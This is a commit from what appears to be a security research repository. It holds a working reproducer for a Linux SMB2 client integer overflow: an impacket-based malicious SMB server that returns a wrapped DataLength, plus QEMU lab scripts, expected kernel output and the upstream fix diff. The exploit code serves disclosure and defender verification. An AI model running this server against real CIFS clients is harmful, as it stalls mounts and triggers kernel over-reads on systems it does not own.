mirror of
https://github.com/TREXNEGRO/Research
synced 2026-06-21 13:45:57 +00:00
initial: research mono-repo, first finding cifs-smb2-read-overflow
Companion repository for the writeups at https://trexnegro.github.io. Each subdirectory is one finding with its own README, reproducer, and artifacts. First entry: cifs-smb2-read-overflow — Linux kernel integer overflow in fs/smb/client/{transport.c,smb2ops.c}, fixed upstream in mainline commit 81a874233c305d29e37fdb70b691ff4254294c0b and AUTOSEL'd to stable on 2026-05-20. Includes impacket-based malicious server, QEMU lab scripts, and side-by-side KASAN traces (vulnerable ~245s stall vs patched ~66s clean shutdown). Companion writeup: https://trexnegro.github.io/posts/u32-plus-u32-equals-zero-smb2-overflow/
This commit is contained in:
@@ -0,0 +1,9 @@
|
||||
__pycache__/
|
||||
*.pyc
|
||||
*.pyo
|
||||
*.swp
|
||||
*~
|
||||
/build/
|
||||
/.idea/
|
||||
/.vscode/
|
||||
/venv/
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 SixSixSix
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,43 @@
|
||||
# research
|
||||
|
||||
PoCs, reproducers, and supporting artifacts for the writeups at
|
||||
**<https://trexnegro.github.io>**.
|
||||
|
||||
Each subdirectory corresponds to one finding or research note and contains
|
||||
the minimum needed to reproduce or audit it. New entries are appended over
|
||||
time; older entries are not rewritten unless the upstream fix changes shape.
|
||||
|
||||
## Index
|
||||
|
||||
| Finding | Class | Status | Companion writeup |
|
||||
|---|---|---|---|
|
||||
| [`cifs-smb2-read-overflow/`](./cifs-smb2-read-overflow) | Linux kernel — cifs / SMB2 client | Patched upstream (`81a8742`), AUTOSEL'd to stable 2026-05-20 | [u32 + u32 = 0 is still a bug in 2026](https://trexnegro.github.io/posts/u32-plus-u32-equals-zero-smb2-overflow/) |
|
||||
|
||||
## Conventions
|
||||
|
||||
- Each finding's directory contains its own `README.md` with the bug,
|
||||
affected versions, and step-by-step reproduction.
|
||||
- Code is MIT-licensed (see top-level `LICENSE`) unless a subdir overrides.
|
||||
- Logs included under `logs/` are redacted of build-host identifiers but
|
||||
otherwise verbatim.
|
||||
- Nothing in this repository carries customer data, third-party PII, or
|
||||
any artifact that depends on credentials.
|
||||
|
||||
## Scope
|
||||
|
||||
Authorised security research and education only. Reproducers exist to make
|
||||
public, upstream-fixed bugs verifiable for defenders and curious readers.
|
||||
Do not point reproducers at systems you do not own or have explicit, written
|
||||
permission to test.
|
||||
|
||||
## Contact
|
||||
|
||||
Issues / pull requests / corrections welcome on this repository.
|
||||
|
||||
For coordinated-disclosure work — including kernel.org `security@kernel.org`,
|
||||
vendor PSIRTs, or HackerOne-mediated programs — contact via the channel
|
||||
listed on the [About page of the writeup site](https://trexnegro.github.io/about/).
|
||||
|
||||
## License
|
||||
|
||||
MIT. See `LICENSE` at the repository root.
|
||||
@@ -0,0 +1,127 @@
|
||||
# cifs-smb2-read-overflow
|
||||
|
||||
Reproducer for an integer overflow in the Linux SMB2 client (`fs/smb/client/`)
|
||||
that lets a malicious SMB server stall a `mount.cifs` mount for 180 seconds
|
||||
per READ. Fixed upstream in `81a874233c305d29e37fdb70b691ff4254294c0b` ("smb:
|
||||
client: avoid integer overflow in SMB2 READ length check"), AUTOSEL'd to
|
||||
stable on 2026-05-20.
|
||||
|
||||
This is one finding inside the unified `research` repository. Top-level
|
||||
index: [`../README.md`](../README.md).
|
||||
|
||||
Companion write-up:
|
||||
**<https://trexnegro.github.io/posts/u32-plus-u32-equals-zero-smb2-overflow/>**
|
||||
|
||||
## What the bug is
|
||||
|
||||
`cifs_readv_receive()` and `handle_read_data()` validate the SMB2 READ
|
||||
response with an unguarded sum:
|
||||
|
||||
```c
|
||||
if (!use_rdma_mr && (data_offset + data_len > buflen)) /* transport.c */
|
||||
return -1;
|
||||
|
||||
} else if (buf_len >= data_offset + data_len) { /* smb2ops.c */
|
||||
copy_to_iter(buf + data_offset, data_len, &rdata->subreq.io_iter);
|
||||
```
|
||||
|
||||
Both `data_offset` and `data_len` are `unsigned int`. A malicious server that
|
||||
replies with `DataOffset = 0x50` and `DataLength = 0xFFFFFFB0` wraps the sum
|
||||
to `0`, the check passes, and the kernel walks into reading ~4 GiB off the
|
||||
TCP socket — stalling for the 180-second response timeout before reconnecting.
|
||||
|
||||
## Layout
|
||||
|
||||
```
|
||||
server/malicious_server.py impacket-based hostile SMB2 server
|
||||
lab/run-vulnerable.sh QEMU lifter against an unpatched bzImage
|
||||
lab/run-patched.sh same lifter against a patched bzImage
|
||||
lab/init.sh guest init script (place in initrd as /init)
|
||||
logs/qemu-vulnerable-redacted.log ~245 s vulnerable run (stall + reconnect)
|
||||
logs/qemu-patched-clean.log ~66 s patched run (clean shutdown)
|
||||
```
|
||||
|
||||
## Running it
|
||||
|
||||
Pre-reqs on the host:
|
||||
|
||||
- Python 3.10+ with `pip install impacket` (>=0.11)
|
||||
- QEMU 10+ with TCG (KVM not required)
|
||||
- A Linux source tree at `linux-v7.0` or earlier (vulnerable) for one run
|
||||
- A Linux source tree at `linux-v7.1+` or with the patch backported (patched)
|
||||
for comparison
|
||||
|
||||
Build kernels with at minimum:
|
||||
|
||||
```
|
||||
CONFIG_CIFS=y
|
||||
CONFIG_KASAN_GENERIC=y
|
||||
CONFIG_KASAN_OUTLINE=y
|
||||
CONFIG_FORTIFY_SOURCE=y
|
||||
```
|
||||
|
||||
Pack an initrd containing `mount.cifs` and BusyBox, with `lab/init.sh`
|
||||
installed as `/init`.
|
||||
|
||||
Then:
|
||||
|
||||
```bash
|
||||
# vulnerable
|
||||
export KERNEL=/path/to/vulnerable/arch/x86/boot/bzImage
|
||||
export INITRD=/path/to/initrd.cpio.gz
|
||||
./lab/run-vulnerable.sh
|
||||
|
||||
# patched
|
||||
export KERNEL=/path/to/patched/arch/x86/boot/bzImage
|
||||
./lab/run-patched.sh
|
||||
```
|
||||
|
||||
Expected vulnerable output, around the 240-second mark:
|
||||
|
||||
```text
|
||||
CIFS: VFS: \\10.0.2.2 has not responded in 180 seconds. Reconnecting...
|
||||
CIFS: fs/smb/client/transport.c:
|
||||
total_read=4294967273 buflen=144 remaining=4294967216
|
||||
```
|
||||
|
||||
The `remaining=4294967216` value is `0xFFFFFFB0` — exactly the attacker's
|
||||
`DataLength`. That value reaching the receive call is the smoking gun.
|
||||
|
||||
Patched output: mount + dd + clean shutdown in ~66 s, no `not responded`
|
||||
line.
|
||||
|
||||
Sample side-by-side logs are included under `logs/`.
|
||||
|
||||
## The fix, for reference
|
||||
|
||||
The upstream patch wraps both sites with `check_add_overflow()`:
|
||||
|
||||
```diff
|
||||
- } else if (buf_len >= data_offset + data_len) {
|
||||
+ } else if (!check_add_overflow(data_offset, data_len, &end_off) &&
|
||||
+ buf_len >= end_off) {
|
||||
```
|
||||
|
||||
```diff
|
||||
- if (!use_rdma_mr && (data_offset + data_len > buflen))
|
||||
- return -1;
|
||||
+ if (!use_rdma_mr) {
|
||||
+ if (check_add_overflow(data_offset, data_len, &end_off))
|
||||
+ return -1;
|
||||
+ if (end_off > buflen)
|
||||
+ return -1;
|
||||
+ }
|
||||
```
|
||||
|
||||
`check_add_overflow()` lives in `include/linux/overflow.h` and is already
|
||||
used elsewhere in `fs/smb/`.
|
||||
|
||||
## Scope and intent
|
||||
|
||||
Authorised research / education use only. The malicious server is small,
|
||||
boring, and easy to detect; it exists to make the bug reproducible on a
|
||||
single workstation. Do not point it at servers you don't own.
|
||||
|
||||
## License
|
||||
|
||||
MIT — see [`../LICENSE`](../LICENSE) at the repository root.
|
||||
Executable
+18
@@ -0,0 +1,18 @@
|
||||
#!/bin/sh
|
||||
# Guest-side init script (place inside the initrd as /init).
|
||||
# Brings up loopback + eth0, mounts the malicious share, attempts a read.
|
||||
/bin/busybox --install -s
|
||||
mount -t proc proc /proc
|
||||
mount -t sysfs sys /sys
|
||||
ifconfig lo up
|
||||
ifconfig eth0 10.0.2.15 up
|
||||
route add default gw 10.0.2.2
|
||||
|
||||
echo "[init] mounting //10.0.2.2/SHARE ..."
|
||||
mount.cifs //10.0.2.2/SHARE /mnt \
|
||||
-o sec=ntlmssp,vers=2.0,user=guest,password=,rsize=65536,port=1445
|
||||
echo "[init] read attempt:"
|
||||
dd if=/mnt/file of=/tmp/leak bs=4096 count=1
|
||||
echo "[init] done"
|
||||
sync
|
||||
poweroff -f
|
||||
Executable
+20
@@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env bash
|
||||
# Same as run-vulnerable.sh but expects KERNEL to point at a kernel built
|
||||
# with commit 81a874233c305d29e37fdb70b691ff4254294c0b applied (or any tag
|
||||
# >= v7.1 / stable backports).
|
||||
set -e
|
||||
: "${KERNEL:?point KERNEL at a PATCHED linux bzImage (>= v7.1 or stable backport)}"
|
||||
: "${INITRD:?point INITRD at an initrd with mount.cifs}"
|
||||
|
||||
python3 server/malicious_server.py --port 1445 > logs/server-patched.log 2>&1 &
|
||||
SRV=$!
|
||||
trap "kill $SRV 2>/dev/null" EXIT
|
||||
sleep 2
|
||||
|
||||
exec qemu-system-x86_64 \
|
||||
-kernel "$KERNEL" -initrd "$INITRD" \
|
||||
-append 'console=ttyS0 panic=1 oops=panic kasan_multi_shot loglevel=8' \
|
||||
-nographic -m 1G -smp 2 \
|
||||
-net nic,model=virtio \
|
||||
-net user,hostfwd=tcp::1445-:1445 \
|
||||
| tee logs/qemu-patched.log
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env bash
|
||||
# Drive the vulnerable kernel against the malicious SMB2 server.
|
||||
# Expects: KERNEL, INITRD env vars pointing at your built bzImage and an
|
||||
# initrd with mount.cifs + busybox.
|
||||
set -e
|
||||
: "${KERNEL:?point KERNEL at a vulnerable linux-v7.0 bzImage}"
|
||||
: "${INITRD:?point INITRD at an initrd with mount.cifs}"
|
||||
|
||||
# Start the malicious server in the background.
|
||||
python3 server/malicious_server.py --port 1445 > logs/server.log 2>&1 &
|
||||
SRV=$!
|
||||
trap "kill $SRV 2>/dev/null" EXIT
|
||||
sleep 2
|
||||
|
||||
# Boot the kernel under QEMU with host networking forwarding 1445.
|
||||
exec qemu-system-x86_64 \
|
||||
-kernel "$KERNEL" -initrd "$INITRD" \
|
||||
-append 'console=ttyS0 panic=1 oops=panic kasan_multi_shot loglevel=8' \
|
||||
-nographic -m 1G -smp 2 \
|
||||
-net nic,model=virtio \
|
||||
-net user,hostfwd=tcp::1445-:1445 \
|
||||
| tee logs/qemu-vulnerable.log
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
+119
@@ -0,0 +1,119 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CIFS-SMB2-READ-OVERFLOW malicious SMB2 server (impacket-based).
|
||||
|
||||
Uses impacket's SimpleSMBServer for the boring parts (NEGOTIATE, NTLMSSP session
|
||||
setup, TREE_CONNECT, CREATE) and monkey-patches SMB2Commands.smb2Read to return
|
||||
a malformed SMB2_READ_RSP with:
|
||||
|
||||
DataOffset = 0x50
|
||||
DataLength = 0xFFFFFFB0 (attacker-controlled __le32)
|
||||
Buffer = 0xCC * 64 (marker bytes for visual identification)
|
||||
|
||||
On a vulnerable Linux CIFS client (linux-v7.0 @ <linux-v7.0-tag>) this triggers the
|
||||
u32 + u32 wrap at fs/smb/client/transport.c:1259 or fs/smb/client/smb2ops.c:4839,
|
||||
bypassing the bound check and leading to over-read via copy_to_iter() or
|
||||
cifs_read_iter_from_socket().
|
||||
|
||||
Usage:
|
||||
python3 malicious_server_impacket.py [port=1445] [share_dir=/tmp/share]
|
||||
"""
|
||||
import argparse
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
|
||||
from impacket import smb3structs as smb2
|
||||
from impacket import smbserver
|
||||
from impacket.smbserver import SMB2Commands, PIPE_FILE_DESCRIPTOR
|
||||
# Note: STATUS_SMB_BAD_TID lives in impacket.smbserver as a module-level constant
|
||||
from impacket.smbserver import STATUS_SMB_BAD_TID
|
||||
from impacket.nt_errors import STATUS_INVALID_HANDLE, STATUS_ACCESS_DENIED
|
||||
|
||||
|
||||
def malicious_smb2Read(connId, smbServer, recvPacket):
|
||||
"""
|
||||
Drop-in replacement for impacket.smbserver.SMB2Commands.smb2Read.
|
||||
Identical bookkeeping; only DataOffset/DataLength are doctored on success.
|
||||
"""
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
respSMBCommand = smb2.SMB2Read_Response()
|
||||
readRequest = smb2.SMB2Read(recvPacket['Data'])
|
||||
|
||||
respSMBCommand['Buffer'] = b'\x00'
|
||||
|
||||
if readRequest['FileID'].getData() == b'\xff' * 16:
|
||||
if 'SMB2_CREATE' in connData['LastRequest']:
|
||||
fileID = connData['LastRequest']['SMB2_CREATE']['FileID']
|
||||
else:
|
||||
fileID = readRequest['FileID'].getData()
|
||||
else:
|
||||
fileID = readRequest['FileID'].getData()
|
||||
|
||||
if recvPacket['TreeID'] in connData['ConnectedShares']:
|
||||
if fileID in connData['OpenedFiles']:
|
||||
fileHandle = connData['OpenedFiles'][fileID]['FileHandle']
|
||||
errorCode = 0
|
||||
try:
|
||||
if fileHandle != PIPE_FILE_DESCRIPTOR:
|
||||
offset = readRequest['Offset']
|
||||
os.lseek(fileHandle, offset, 0)
|
||||
content = os.read(fileHandle, readRequest['Length'])
|
||||
else:
|
||||
sock = connData['OpenedFiles'][fileID]['Socket']
|
||||
content = sock.recv(readRequest['Length'])
|
||||
|
||||
# === CIFS-SMB2-READ-OVERFLOW PAYLOAD ===
|
||||
respSMBCommand['DataOffset'] = 0x50
|
||||
respSMBCommand['DataLength'] = 0xFFFFFFB0 # malicious: u32 wrap with DataOffset
|
||||
respSMBCommand['DataRemaining'] = 0
|
||||
# Keep buffer small but marker-tagged so leaked memory is recognisable
|
||||
respSMBCommand['Buffer'] = b'\xCC' * 64
|
||||
print(f"[!!!] SMB2_READ — malicious response: DataOffset=0x50 DataLength=0xFFFFFFB0", flush=True)
|
||||
except Exception as e:
|
||||
smbServer.log('SMB2_READ: %s ' % e, logging.ERROR)
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
else:
|
||||
errorCode = STATUS_INVALID_HANDLE
|
||||
else:
|
||||
errorCode = STATUS_SMB_BAD_TID
|
||||
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
return [respSMBCommand], None, errorCode
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--port", type=int, default=1445)
|
||||
ap.add_argument("--share-dir", default=None)
|
||||
args = ap.parse_args()
|
||||
|
||||
# Set up share directory with one regular file
|
||||
share_dir = args.share_dir or tempfile.mkdtemp(prefix="ksmb01-share-")
|
||||
os.makedirs(share_dir, exist_ok=True)
|
||||
target_file = os.path.join(share_dir, "file")
|
||||
if not os.path.exists(target_file):
|
||||
with open(target_file, "wb") as f:
|
||||
f.write(b"REAL-DATA-NEVER-SEEN " * 16)
|
||||
print(f"[+] Share dir: {share_dir} (file: {target_file}, {os.path.getsize(target_file)} bytes)", flush=True)
|
||||
|
||||
# Monkey-patch BEFORE constructing the server (impacket binds methods at startup)
|
||||
SMB2Commands.smb2Read = staticmethod(malicious_smb2Read)
|
||||
print(f"[+] Monkey-patched impacket.smbserver.SMB2Commands.smb2Read", flush=True)
|
||||
|
||||
# Build server
|
||||
server = smbserver.SimpleSMBServer(listenAddress="0.0.0.0", listenPort=args.port)
|
||||
server.setSMB2Support(True)
|
||||
server.addShare("SHARE", share_dir, "")
|
||||
server.addCredential("guest", 0, "", "")
|
||||
server.setLogFile("") # log to stdout
|
||||
|
||||
print(f"[+] CIFS-SMB2-READ-OVERFLOW impacket server listening on 0.0.0.0:{args.port}", flush=True)
|
||||
print(f" Victim mount: mount -t cifs //10.0.2.2/SHARE /mnt "
|
||||
f"-o sec=ntlmssp,user=guest,password=,vers=3.0,port={args.port}", flush=True)
|
||||
server.start()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user